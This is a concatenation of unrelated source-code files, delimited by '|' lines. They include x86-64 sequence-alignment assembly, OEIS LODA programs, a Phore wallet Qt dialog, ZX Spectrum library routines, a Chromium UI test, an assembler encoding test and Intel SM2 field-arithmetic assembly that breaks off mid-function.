; Reservar memoria para la matriz de puntajes y el vector auxiliar, luego inicializamos sus valores
push rdi ; conserva *alignment
push r8
push r9
mov rdi, rax
shl rdi, 1 ; score_matrix_sz*sizeof(short)
sub rsp, 8
call malloc
add rsp, 8
mov rsi, 0
cmp rax, 0
je .malloc_error
pop r9
pop r8
mov score_matrix, rax
push r8
push r9
push r10
mov rdi, width
dec rdi
shl rdi,1
call malloc
mov rsi, 1
cmp rax, 0
je .malloc_error
pop r10
pop r9
pop r8
pop rdi
mov v_aux, rax
;------------------------------------------------------------------
; asignacion de datos en los registros xmm nombrados --------------
; Broadcastear el valor de gap, a nivel word, en el registro
mov rax, [rdi + alignment_offset_parameters]
mov ax, [rax + parameters_offset_gap]
pinsrw constant_gap_xmm, eax, 0
pshuflw constant_gap_xmm, constant_gap_xmm, 0b0
pshufd constant_gap_xmm, constant_gap_xmm, 0b0
; Broadcastear el valor de missmatch, a nivel word, en el registro
mov rax, [rdi + alignment_offset_parameters]
mov ax, [rax + parameters_offset_missmatch]
pinsrw constant_missmatch_xmm, eax, 0
pshuflw constant_missmatch_xmm, constant_missmatch_xmm, 0b0
pshufd constant_missmatch_xmm, constant_missmatch_xmm, 0b0
; Broadcastear el valor de match, a nivel word, en el registro
mov rax, [rdi + alignment_offset_parameters]
mov ax, [rax + parameters_offset_match]
pinsrw constant_match_xmm, eax, 0
pshuflw constant_match_xmm, constant_match_xmm, 0b0
pshufd constant_match_xmm, constant_match_xmm, 0b0
; Máscara de ceros
pxor zeroes_xmm,zeroes_xmm
;------------------------------------------------------------------
; Carga de las mascaras -------------------------------------------
; Máscara utilizada para invertir el string almacenado en un registro
movdqu reverse_mask_xmm, [reverse_mask]
;------------------------------------------------------------------
; Casos base ------------------------------------------------------
; Preservar *alignment durante todo el algoritmo
push rdi
call inicializar_casos_base
; Loop principal --------------------------------------------------
mov rbx, 0 ; i
.loop_i:
; Calcular offset_y
mov rax, rbx
mul width
shl rax, vector_len_log
mov rsi, rax ; rsi = offset_y
mov rdi, rbx ; rdi = i
call leer_secuencia_columna
vmovdqu diag1_xmm, [score_matrix + 2*rsi]
vmovdqu diag2_xmm, [score_matrix + 2*rsi + 2*vector_len]
mov rcx, 2 ; j
push rbx
.loop_j:
push rcx
mov rdi, rcx
call leer_secuencia_fila
pop rcx
mov rdx, rcx
shl rdx, vector_len_log ; rdx = offset_x
push rdx
push rcx
mov rdi, rcx ; rdi = j
call calcular_scores
pop rcx
pop rdx
; Guardar en cada posicion de la diagonal el maximo entre los puntajes de venir por izquierda, arriba y diagonalmente
pmaxsw diag_score_xmm, up_score_xmm
pmaxsw diag_score_xmm, left_score_xmm
; Almacenamos el puntaje máximo en la posición correcta de la matriz
mov rax, rsi
add rax, rdx
movdqu [score_matrix + 2*rax], diag_score_xmm
cmp rcx, vector_len
jl .menor
pextrw eax, diag_score_xmm, 0b0000
mov [v_aux + 2*rcx - 2*vector_len], ax
.menor:
vmovdqu diag1_xmm, diag2_xmm
vmovdqu diag2_xmm, diag_score_xmm
inc rcx
cmp rcx, width
jne .loop_j
pop rbx
inc rbx
cmp rbx, height
jne .loop_i
; Restaurar *alignment luego de que el algoritmo termina
pop rdi
.debug:; Utilizar para debuggear los valores en la matriz de puntajes
; Traigo debug
pop rsi
cmp rsi, 0
je .no_debug
mov [rdi + alignment_offset_matrix], score_matrix
.no_debug:
; Recuperar los 2 strings del mejor alineamiento utilizando backtracking, empezando desde la posicion mas inferior derecha
push rsi
push score_matrix
mov rsi, rdi
mov rdi, score_matrix
mov rdx, vector_len
mov rcx, seq1_len
dec rcx
mov r8, seq2_len
dec r8
mov r9, 0 ; false
push 0 ; false
push get_score_SSE
call backtracking_C
add rsp, 0x10
pop score_matrix
pop rsi
cmp rsi, 0
jne .epilogo
mov rdi, score_matrix
call free
;------------------------------------------------------------------
; epilogo
.epilogo:
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret
; Se utiliza en el caso de que haya un error en el malloc
.malloc_error:
mov rdi, malloc_error_str
mov rax, 0
call printf
jmp .epilogo |
; A142463: a(n) = 2*n^2 + 2*n - 1.
; -1,3,11,23,39,59,83,111,143,179,219,263,311,363,419,479,543,611,683,759,839,923,1011,1103,1199,1299,1403,1511,1623,1739,1859,1983,2111,2243,2379,2519,2663,2811,2963,3119,3279,3443,3611,3783,3959,4139,4323,4511,4703,4899,5099,5303,5511,5723,5939,6159,6383,6611,6843,7079,7319,7563,7811,8063,8319,8579,8843,9111,9383,9659,9939,10223,10511,10803,11099,11399,11703,12011,12323,12639,12959,13283,13611,13943,14279,14619,14963,15311,15663,16019,16379,16743,17111,17483,17859,18239,18623,19011,19403,19799,20199,20603,21011,21423,21839,22259,22683,23111,23543,23979,24419,24863,25311,25763,26219,26679,27143,27611,28083,28559,29039,29523,30011,30503,30999,31499,32003,32511,33023,33539,34059,34583,35111,35643,36179,36719,37263,37811,38363,38919,39479,40043,40611,41183,41759,42339,42923,43511,44103,44699,45299,45903,46511,47123,47739,48359,48983,49611,50243,50879,51519,52163,52811,53463,54119,54779,55443,56111,56783,57459,58139,58823,59511,60203,60899,61599,62303,63011,63723,64439,65159,65883,66611,67343,68079,68819,69563,70311,71063,71819,72579,73343,74111,74883,75659,76439,77223,78011,78803,79599,80399,81203,82011,82823,83639,84459,85283,86111,86943,87779,88619,89463,90311,91163,92019,92879,93743,94611,95483,96359,97239,98123,99011,99903,100799,101699,102603,103511,104423,105339,106259,107183,108111,109043,109979,110919,111863,112811,113763,114719,115679,116643,117611,118583,119559,120539,121523,122511,123503,124499
mov $1,$0
mul $1,$0
add $1,$0
mul $1,2
sub $1,1
|
// Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2017 The Phore developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "editaddressdialog.h"
#include "ui_editaddressdialog.h"
#include "addresstablemodel.h"
#include "guiutil.h"
#include <QDataWidgetMapper>
#include <QMessageBox>
EditAddressDialog::EditAddressDialog(Mode mode, QWidget* parent) : QDialog(parent),
ui(new Ui::EditAddressDialog),
mapper(0),
mode(mode),
model(0)
{
ui->setupUi(this);
GUIUtil::setupAddressWidget(ui->addressEdit, this);
switch (mode) {
case NewReceivingAddress:
setWindowTitle(tr("New receiving address"));
ui->addressEdit->setEnabled(false);
break;
case NewSendingAddress:
setWindowTitle(tr("New sending address"));
break;
case EditReceivingAddress:
setWindowTitle(tr("Edit receiving address"));
ui->addressEdit->setEnabled(false);
break;
case EditSendingAddress:
setWindowTitle(tr("Edit sending address"));
break;
}
mapper = new QDataWidgetMapper(this);
mapper->setSubmitPolicy(QDataWidgetMapper::ManualSubmit);
}
EditAddressDialog::~EditAddressDialog()
{
delete ui;
}
void EditAddressDialog::setModel(AddressTableModel* model)
{
this->model = model;
if (!model)
return;
mapper->setModel(model);
mapper->addMapping(ui->labelEdit, AddressTableModel::Label);
mapper->addMapping(ui->addressEdit, AddressTableModel::Address);
}
void EditAddressDialog::loadRow(int row)
{
mapper->setCurrentIndex(row);
}
bool EditAddressDialog::saveCurrentRow()
{
if (!model)
return false;
switch (mode) {
case NewReceivingAddress:
case NewSendingAddress:
address = model->addRow(
mode == NewSendingAddress ? AddressTableModel::Send : AddressTableModel::Receive,
ui->labelEdit->text(),
ui->addressEdit->text());
break;
case EditReceivingAddress:
case EditSendingAddress:
if (mapper->submit()) {
address = ui->addressEdit->text();
}
break;
}
return !address.isEmpty();
}
void EditAddressDialog::accept()
{
if (!model)
return;
if (!saveCurrentRow()) {
switch (model->getEditStatus()) {
case AddressTableModel::OK:
// Failed with unknown reason. Just reject.
break;
case AddressTableModel::NO_CHANGES:
// No changes were made during edit operation. Just reject.
break;
case AddressTableModel::INVALID_ADDRESS:
QMessageBox::warning(this, windowTitle(),
tr("The entered address \"%1\" is not a valid Phore address.").arg(ui->addressEdit->text()),
QMessageBox::Ok, QMessageBox::Ok);
break;
case AddressTableModel::DUPLICATE_ADDRESS:
QMessageBox::warning(this, windowTitle(),
tr("The entered address \"%1\" is already in the address book.").arg(ui->addressEdit->text()),
QMessageBox::Ok, QMessageBox::Ok);
break;
case AddressTableModel::WALLET_UNLOCK_FAILURE:
QMessageBox::critical(this, windowTitle(),
tr("Could not unlock wallet."),
QMessageBox::Ok, QMessageBox::Ok);
break;
case AddressTableModel::KEY_GENERATION_FAILURE:
QMessageBox::critical(this, windowTitle(),
tr("New key generation failed."),
QMessageBox::Ok, QMessageBox::Ok);
break;
}
return;
}
QDialog::accept();
}
QString EditAddressDialog::getAddress() const
{
return address;
}
void EditAddressDialog::setAddress(const QString& address)
{
this->address = address;
ui->addressEdit->setText(address);
}
|
; ===============================================================
; 2014
; ===============================================================
;
; void zx_scroll_up_attr(uchar rows, uchar attr)
;
; Scroll attrs upward by rows chars and clear vacated area
; using attribute.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_arch
PUBLIC asm_zx_scroll_up_attr
PUBLIC asm0_zx_scroll_up_attr
EXTERN asm_zx_cls_attr
EXTERN asm_zx_cy2aaddr
asm_zx_scroll_up_attr:
; enter : de = number of rows to scroll upward by
; l = attr
;
; uses : af, bc, de, hl
inc d
dec d
jp nz, asm_zx_cls_attr
asm0_zx_scroll_up_attr:
inc e
dec e
ret z
ld a,23
sub e
jp c, asm_zx_cls_attr
inc a
; e = number of rows to scroll upward
; l = attr
; a = loop count
ld c,a ; c = loop count
push hl ; save attr
push de ; save scroll amount
;; copy upward
ex de,hl
call asm_zx_cy2aaddr ; hl = attr address corresponding to first scroll row L
IF __USE_SPECTRUM_128_SECOND_DFILE
ld de,$d800
ELSE
ld de,$5800 ; de = destination address of first scroll row
ENDIF
ld a,c ; a = loop count
copy_up_loop_0:
; copy row of attributes
IF __CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_LDIR
EXTERN l_ldi_32
call l_ldi_32
ELSE
ld bc,32
ldir
ENDIF
dec a
jr nz, copy_up_loop_0
;; clear vacated area
pop bc
ld b,c ; b = scroll amount = number of vacated rows
pop hl
ld a,l ; a = attr
ex de,hl
vacate_loop_0:
; clear row of attributes
push bc
ld (hl),a
ld e,l
ld d,h
inc e
IF __CLIB_OPT_UNROLL & __CLIB_OPT_UNROLL_LDIR
EXTERN l_ldi
call l_ldi - (31*2)
ELSE
ld bc,31
ldir
ENDIF
ex de,hl
pop bc
djnz vacate_loop_0
ret
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "base/callback.h"
#include "base/location.h"
#include "base/macros.h"
#include "base/single_thread_task_runner.h"
#include "base/strings/utf_string_conversions.h"
#include "base/threading/thread_task_runner_handle.h"
#include "chrome/test/base/interactive_test_utils.h"
#include "chrome/test/base/ui_test_utils.h"
#include "chrome/test/base/view_event_test_base.h"
#include "ui/base/models/menu_model.h"
#include "ui/base/test/ui_controls.h"
#include "ui/views/controls/button/menu_button.h"
#include "ui/views/controls/button/menu_button_listener.h"
#include "ui/views/controls/menu/menu_controller.h"
#include "ui/views/controls/menu/menu_item_view.h"
#include "ui/views/controls/menu/menu_model_adapter.h"
#include "ui/views/controls/menu/menu_runner.h"
#include "ui/views/controls/menu/submenu_view.h"
#include "ui/views/widget/root_view.h"
#include "ui/views/widget/widget.h"
namespace {
const int kTopMenuBaseId = 100;
const int kSubMenuBaseId = 200;
// Implement most of the ui::MenuModel pure virtual methods for subclasses
//
// Exceptions:
// virtual int GetItemCount() const = 0;
// virtual ItemType GetTypeAt(int index) const = 0;
// virtual int GetCommandIdAt(int index) const = 0;
// virtual base::string16 GetLabelAt(int index) const = 0;
class CommonMenuModel : public ui::MenuModel {
public:
CommonMenuModel() {
}
~CommonMenuModel() override {}
protected:
// ui::MenuModel implementation.
bool HasIcons() const override { return false; }
bool IsItemDynamicAt(int index) const override { return false; }
bool GetAcceleratorAt(int index,
ui::Accelerator* accelerator) const override {
return false;
}
ui::MenuSeparatorType GetSeparatorTypeAt(int index) const override {
return ui::NORMAL_SEPARATOR;
}
bool IsItemCheckedAt(int index) const override { return false; }
int GetGroupIdAt(int index) const override { return 0; }
bool GetIconAt(int index, gfx::Image* icon) override { return false; }
ui::ButtonMenuItemModel* GetButtonMenuItemAt(int index) const override {
return NULL;
}
bool IsEnabledAt(int index) const override { return true; }
ui::MenuModel* GetSubmenuModelAt(int index) const override { return NULL; }
void HighlightChangedTo(int index) override {}
void ActivatedAt(int index) override {}
void SetMenuModelDelegate(ui::MenuModelDelegate* delegate) override {}
ui::MenuModelDelegate* GetMenuModelDelegate() const override { return NULL; }
private:
DISALLOW_COPY_AND_ASSIGN(CommonMenuModel);
};
class SubMenuModel : public CommonMenuModel {
public:
SubMenuModel()
: showing_(false) {
}
~SubMenuModel() override {}
bool showing() const {
return showing_;
}
private:
// ui::MenuModel implementation.
int GetItemCount() const override { return 1; }
ItemType GetTypeAt(int index) const override { return TYPE_COMMAND; }
int GetCommandIdAt(int index) const override {
return index + kSubMenuBaseId;
}
base::string16 GetLabelAt(int index) const override {
return base::ASCIIToUTF16("Item");
}
void MenuWillShow() override { showing_ = true; }
// Called when the menu is about to close.
void MenuWillClose() override { showing_ = false; }
bool showing_;
DISALLOW_COPY_AND_ASSIGN(SubMenuModel);
};
class TopMenuModel : public CommonMenuModel {
public:
TopMenuModel() {
}
~TopMenuModel() override {}
bool IsSubmenuShowing() {
return sub_menu_model_.showing();
}
private:
// ui::MenuModel implementation.
int GetItemCount() const override { return 1; }
ItemType GetTypeAt(int index) const override { return TYPE_SUBMENU; }
int GetCommandIdAt(int index) const override {
return index + kTopMenuBaseId;
}
base::string16 GetLabelAt(int index) const override {
return base::ASCIIToUTF16("submenu");
}
MenuModel* GetSubmenuModelAt(int index) const override {
return &sub_menu_model_;
}
mutable SubMenuModel sub_menu_model_;
DISALLOW_COPY_AND_ASSIGN(TopMenuModel);
};
} // namespace
class MenuModelAdapterTest : public ViewEventTestBase,
public views::MenuButtonListener {
public:
MenuModelAdapterTest()
: ViewEventTestBase(),
button_(NULL),
menu_model_adapter_(&top_menu_model_),
menu_(NULL) {
}
~MenuModelAdapterTest() override {}
// ViewEventTestBase implementation.
void SetUp() override {
button_ = new views::MenuButton(base::ASCIIToUTF16("Menu Adapter Test"),
this, true);
menu_ = menu_model_adapter_.CreateMenu();
menu_runner_.reset(
new views::MenuRunner(menu_, views::MenuRunner::HAS_MNEMONICS));
ViewEventTestBase::SetUp();
}
void TearDown() override {
menu_runner_.reset(NULL);
menu_ = NULL;
ViewEventTestBase::TearDown();
}
views::View* CreateContentsView() override { return button_; }
gfx::Size GetPreferredSize() const override {
return button_->GetPreferredSize();
}
// views::MenuButtonListener implementation.
void OnMenuButtonClicked(views::MenuButton* source,
const gfx::Point& point,
const ui::Event* event) override {
gfx::Point screen_location;
views::View::ConvertPointToScreen(source, &screen_location);
gfx::Rect bounds(screen_location, source->size());
ignore_result(menu_runner_->RunMenuAt(source->GetWidget(),
button_,
bounds,
views::MENU_ANCHOR_TOPLEFT,
ui::MENU_SOURCE_NONE));
}
// ViewEventTestBase implementation
void DoTestOnMessageLoop() override {
Click(button_, CreateEventTask(this, &MenuModelAdapterTest::Step1));
}
// Open the submenu.
void Step1() {
views::SubmenuView* topmenu = menu_->GetSubmenu();
ASSERT_TRUE(topmenu);
ASSERT_TRUE(topmenu->IsShowing());
ASSERT_FALSE(top_menu_model_.IsSubmenuShowing());
// Click the first item to open the submenu.
views::MenuItemView* item = topmenu->GetMenuItemAt(0);
ASSERT_TRUE(item);
Click(item, CreateEventTask(this, &MenuModelAdapterTest::Step2));
}
// Rebuild the menu which should close the submenu.
void Step2() {
views::SubmenuView* topmenu = menu_->GetSubmenu();
ASSERT_TRUE(topmenu);
ASSERT_TRUE(topmenu->IsShowing());
ASSERT_TRUE(top_menu_model_.IsSubmenuShowing());
menu_model_adapter_.BuildMenu(menu_);
ASSERT_TRUE(base::MessageLoopForUI::IsCurrent());
base::ThreadTaskRunnerHandle::Get()->PostTask(
FROM_HERE, CreateEventTask(this, &MenuModelAdapterTest::Step3));
}
// Verify that the submenu MenuModel received the close callback
// and close the menu.
void Step3() {
views::SubmenuView* topmenu = menu_->GetSubmenu();
ASSERT_TRUE(topmenu);
ASSERT_TRUE(topmenu->IsShowing());
ASSERT_FALSE(top_menu_model_.IsSubmenuShowing());
// Click the button to exit the menu.
Click(button_, CreateEventTask(this, &MenuModelAdapterTest::Step4));
}
// All done.
void Step4() {
views::SubmenuView* topmenu = menu_->GetSubmenu();
ASSERT_TRUE(topmenu);
ASSERT_FALSE(topmenu->IsShowing());
ASSERT_FALSE(top_menu_model_.IsSubmenuShowing());
Done();
}
private:
// Generate a mouse click on the specified view and post a new task.
virtual void Click(views::View* view, const base::Closure& next) {
ui_test_utils::MoveMouseToCenterAndPress(
view,
ui_controls::LEFT,
ui_controls::DOWN | ui_controls::UP,
next);
}
views::MenuButton* button_;
TopMenuModel top_menu_model_;
views::MenuModelAdapter menu_model_adapter_;
views::MenuItemView* menu_;
std::unique_ptr<views::MenuRunner> menu_runner_;
};
// If this flakes, disable and log details in http://crbug.com/523255.
VIEW_TEST(MenuModelAdapterTest, RebuildMenu)
|
; void *zx_saddrpdown(void *saddr)
SECTION code_arch
PUBLIC _zx_saddrpdown
EXTERN asm_zx_saddrpdown
_zx_saddrpdown:
pop af
pop hl
push hl
push af
jp asm_zx_saddrpdown
|
; void sp1_IterateUpdateArr(struct sp1_update **ua, void *hook)
; CALLER linkage for function pointers
SECTION code_sprite_sp1
PUBLIC sp1_IterateUpdateArr
EXTERN sp1_IterateUpdateArr_callee
EXTERN ASMDISP_SP1_ITERATEUPDATEARR_CALLEE
.sp1_IterateUpdateArr
pop bc
pop ix
pop hl
push hl
push hl
push bc
jp sp1_IterateUpdateArr_callee + ASMDISP_SP1_ITERATEUPDATEARR_CALLEE
|
[bits 64]
cmpxchg8b qword [0] ; out: 0f c7 0c 25 00 00 00 00
cmpxchg8b [0] ; out: 0f c7 0c 25 00 00 00 00
cmpxchg16b dqword [0] ; out: 48 0f c7 0c 25 00 00 00 00
cmpxchg16b [0] ; out: 48 0f c7 0c 25 00 00 00 00
|
; A136572: Triangle read by rows: row n consists of n zeros followed by n!.
; 1,0,1,0,0,2,0,0,0,6,0,0,0,0,24,0,0,0,0,0,120,0,0,0,0,0,0,720,0,0,0,0,0,0,0,5040,0,0,0,0,0,0,0,0,40320,0,0,0,0,0,0,0,0,0,362880,0,0,0,0,0,0,0,0,0,0,3628800,0,0,0,0,0,0,0,0,0,0,0,39916800,0,0,0,0,0,0,0,0,0,0,0,0,479001600,0,0,0,0,0,0,0,0,0
mov $3,2
mov $7,$0
lpb $3
mov $0,$7
sub $3,1
add $0,$3
sub $0,2
mov $2,1
mov $4,1
mov $6,1
lpb $0
sub $0,1
mul $4,$6
add $2,$4
add $6,1
trn $0,$6
lpe
mov $4,$2
mul $4,4
mov $5,$3
mov $8,$4
lpb $5
mov $1,$8
sub $5,1
lpe
lpe
lpb $7
sub $1,$8
mov $7,0
lpe
div $1,4
mov $0,$1
|
###############################################################################
# Copyright 2018 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 4, 0x90
Lpoly:
.quad 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFEFFFFFFFF
LRR:
.quad 0x200000003, 0x2ffffffff, 0x100000001, 0x400000002
LOne:
.long 1,1,1,1,1,1,1,1
LTwo:
.long 2,2,2,2,2,2,2,2
LThree:
.long 3,3,3,3,3,3,3,3
.p2align 4, 0x90
.globl sm2_mul_by_2
.type sm2_mul_by_2, @function
sm2_mul_by_2:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
shld $(1), %r11, %r13
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe1:
.size sm2_mul_by_2, .Lfe1-(sm2_mul_by_2)
.p2align 4, 0x90
.globl sm2_div_by_2
.type sm2_div_by_2, @function
sm2_div_by_2:
push %r12
push %r13
push %r14
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
xor %r13, %r13
xor %r14, %r14
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adcq Lpoly+24(%rip), %r12
adc $(0), %r13
test $(1), %r8
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r11
cmovne %r13, %r14
shrd $(1), %r9, %r8
shrd $(1), %r10, %r9
shrd $(1), %r11, %r10
shrd $(1), %r14, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r14
pop %r13
pop %r12
ret
.Lfe2:
.size sm2_div_by_2, .Lfe2-(sm2_div_by_2)
.p2align 4, 0x90
.globl sm2_mul_by_3
.type sm2_mul_by_3, @function
sm2_mul_by_3:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
shld $(1), %r11, %r13
shld $(1), %r10, %r11
shld $(1), %r9, %r10
shld $(1), %r8, %r9
shl $(1), %r8
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
xor %r13, %r13
addq (%rsi), %r8
adcq (8)(%rsi), %r9
adcq (16)(%rsi), %r10
adcq (24)(%rsi), %r11
adc $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe3:
.size sm2_mul_by_3, .Lfe3-(sm2_mul_by_3)
.p2align 4, 0x90
.globl sm2_add
.type sm2_add, @function
sm2_add:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
addq (%rdx), %r8
adcq (8)(%rdx), %r9
adcq (16)(%rdx), %r10
adcq (24)(%rdx), %r11
adc $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
subq Lpoly+0(%rip), %rax
sbbq Lpoly+8(%rip), %rdx
sbbq Lpoly+16(%rip), %rcx
sbbq Lpoly+24(%rip), %r12
sbb $(0), %r13
cmove %rax, %r8
cmove %rdx, %r9
cmove %rcx, %r10
cmove %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe4:
.size sm2_add, .Lfe4-(sm2_add)
.p2align 4, 0x90
.globl sm2_sub
.type sm2_sub, @function
sm2_sub:
push %r12
push %r13
xor %r13, %r13
movq (%rsi), %r8
movq (8)(%rsi), %r9
movq (16)(%rsi), %r10
movq (24)(%rsi), %r11
subq (%rdx), %r8
sbbq (8)(%rdx), %r9
sbbq (16)(%rdx), %r10
sbbq (24)(%rdx), %r11
sbb $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adcq Lpoly+24(%rip), %r12
test %r13, %r13
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe5:
.size sm2_sub, .Lfe5-(sm2_sub)
.p2align 4, 0x90
.globl sm2_neg
.type sm2_neg, @function
sm2_neg:
push %r12
push %r13
xor %r13, %r13
xor %r8, %r8
xor %r9, %r9
xor %r10, %r10
xor %r11, %r11
subq (%rsi), %r8
sbbq (8)(%rsi), %r9
sbbq (16)(%rsi), %r10
sbbq (24)(%rsi), %r11
sbb $(0), %r13
mov %r8, %rax
mov %r9, %rdx
mov %r10, %rcx
mov %r11, %r12
addq Lpoly+0(%rip), %rax
adcq Lpoly+8(%rip), %rdx
adcq Lpoly+16(%rip), %rcx
adcq Lpoly+24(%rip), %r12
test %r13, %r13
cmovne %rax, %r8
cmovne %rdx, %r9
cmovne %rcx, %r10
cmovne %r12, %r11
movq %r8, (%rdi)
movq %r9, (8)(%rdi)
movq %r10, (16)(%rdi)
movq %r11, (24)(%rdi)
pop %r13
pop %r12
ret
.Lfe6:
.size sm2_neg, .Lfe6-(sm2_neg)
.p2align 4, 0x90
sm2_mmull:
xor %r13, %r13
movq (%rbx), %rax
mulq (%rsi)
mov %rax, %r8
mov %rdx, %r9
movq (%rbx), %rax
mulq (8)(%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %r10
movq (%rbx), %rax
mulq (16)(%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %r11
movq (%rbx), %rax
mulq (24)(%rsi)
add %rax, %r11
adc $(0), %rdx
mov %rdx, %r12
mov %r8, %r14
shl $(32), %r14
mov %r8, %r15
shr $(32), %r15
mov %r8, %rcx
mov %r8, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r9
adc %rbp, %r10
adc %rdx, %r11
adc %rax, %r12
adc $(0), %r13
xor %r8, %r8
movq (8)(%rbx), %rax
mulq (%rsi)
add %rax, %r9
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r10
adc $(0), %rdx
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (8)(%rbx), %rax
mulq (24)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc %rdx, %r13
adc $(0), %r8
mov %r9, %r14
shl $(32), %r14
mov %r9, %r15
shr $(32), %r15
mov %r9, %rcx
mov %r9, %rax
xor %rbp, %rbp
xor %rdx, %rdx
sub %r14, %rcx
sbb %r15, %rbp
sbb %r14, %rdx
sbb %r15, %rax
add %rcx, %r10
adc %rbp, %r11
adc %rdx, %r12
adc %rax, %r13
adc $(0), %r8
xor %r9, %r9
movq (16)(%rbx), %rax
mulq (%rsi)
add %rax, %r10
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (8)(%rsi)
add %rcx, %r11
adc $(0), %rdx
add %rax, %r11
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (16)(%rsi)
add %rcx, %r12
adc $(0), %rdx
add %rax, %r12
adc $(0), %rdx
mov %rdx, %rcx
movq (16)(%rbx), %rax
mulq (24)(%rsi)
add %rcx, %r13
adc $(0), %rdx
add %rax, %r13
adc %rdx, %r8
adc $(0), %r9
mov %r10, %r14
shl $(32), %r14
mov %r10, %r15
